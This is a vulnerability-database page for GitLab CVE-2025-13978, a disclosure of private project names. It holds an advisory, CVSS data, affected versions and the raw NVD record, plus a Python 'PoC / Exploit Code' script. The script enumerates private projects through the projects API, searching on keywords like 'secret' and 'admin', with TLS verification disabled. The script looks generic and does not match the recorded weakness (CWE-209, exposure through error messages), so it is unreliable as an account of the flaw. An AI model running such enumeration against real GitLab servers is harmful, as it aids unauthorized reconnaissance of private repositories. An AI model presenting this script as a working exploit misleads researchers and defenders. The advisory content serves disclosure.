Security Vulnerability Report
中文
CVE-2025-13978 CVSS 4.3 MEDIUM

CVE-2025-13978

Published: 2025-12-11 04:15:59
Last Modified: 2025-12-23 21:03:54

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.5 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to discover the names of private projects they do not have access through API requests.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 17.5 <= version < 18.4.6
GitLab CE/EE 18.5 <= version < 18.5.4
GitLab CE/EE 18.6 <= version < 18.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13978 PoC - GitLab Private Project Name Disclosure # This PoC demonstrates how an authenticated user can discover private project names # that they don't have access to through GitLab API import requests import json GITLAB_URL = "https://gitlab.example.com" ACCESS_TOKEN = "your_gitlab_access_token" def discover_private_projects(): """ Discover private project names without proper authorization """ headers = { "PRIVATE-TOKEN": ACCESS_TOKEN, "Content-Type": "application/json" } # Method 1: Using projects API with simple query print("[*] Attempting to discover private projects via API...") # Query for all projects (may leak private project names) url = f"{GITLAB_URL}/api/v4/projects" params = { "membership": False, # Set to False to include non-member projects "per_page": 100, "page": 1 } try: response = requests.get(url, headers=headers, params=params, verify=False, timeout=10) if response.status_code == 200: projects = response.json() print(f"[+] Found {len(projects)} projects (may include unauthorized private projects)") private_projects = [] for project in projects: if project.get('visibility') == 'private': private_projects.append({ 'id': project.get('id'), 'name': project.get('name'), 'path_with_namespace': project.get('path_with_namespace') }) if private_projects: print(f"[!] Discovered {len(private_projects)} private project names:") for proj in private_projects: print(f" - {proj['name']} ({proj['path_with_namespace']})") return private_projects else: print(f"[-] Request failed with status code: {response.status_code}") return [] except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return [] def enumerate_projects_by_search(): """ Alternative method: Search for projects using keywords """ headers = { "PRIVATE-TOKEN": ACCESS_TOKEN } # Common project naming patterns keywords = ["internal", "private", "secret", "config", "admin", "backend", "frontend"] print("\n[*] Attempting project enumeration via search...") discovered = [] for keyword in keywords: url = f"{GITLAB_URL}/api/v4/projects" params = { "search": keyword, "per_page": 20 } try: response = requests.get(url, headers=headers, params=params, verify=False, timeout=10) if response.status_code == 200: results = response.json() for proj in results: if proj.get('visibility') == 'private': discovered.append(proj.get('name')) except: continue if discovered: print(f"[+] Discovered private project names: {set(discovered)}") return list(set(discovered)) if __name__ == "__main__": print("=" * 60) print("CVE-2025-13978 - GitLab Private Project Name Disclosure") print("=" * 60) discover_private_projects() enumerate_projects_by_search() print("\n[*] Note: This vulnerability allows authenticated users to discover") print(" private project names they don't have access to via API.") print("[*] Remediation: Upgrade to GitLab 18.4.6, 18.5.4, or 18.6.2+")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13978", "sourceIdentifier": "[email protected]", "published": "2025-12-11T04:15:58.790", "lastModified": "2025-12-23T21:03:53.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.5 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to discover the names of private projects they do not have access through API requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "17.5.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "90486772-2F3B-4776-A4E4-16AF7489F134"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.5.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "7CC8E0F0-93B9-4D75-8BD5-42C4E7510B04"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "457DB333-60BE-44CD-A674-216AB658E14E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "910967DB-0A8C-4436-9D9E-37BD610E7367"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "919A2588-3EA1-4E15-B47E-61B3E14B2781"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "6343A083-3E1C-4551-B230-76CABC3FDD67"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/12/10/patch-release-gitlab-18-6-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/566960", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/566960", "source": "[email protected]", "tags": ["Broken Link"]}]}}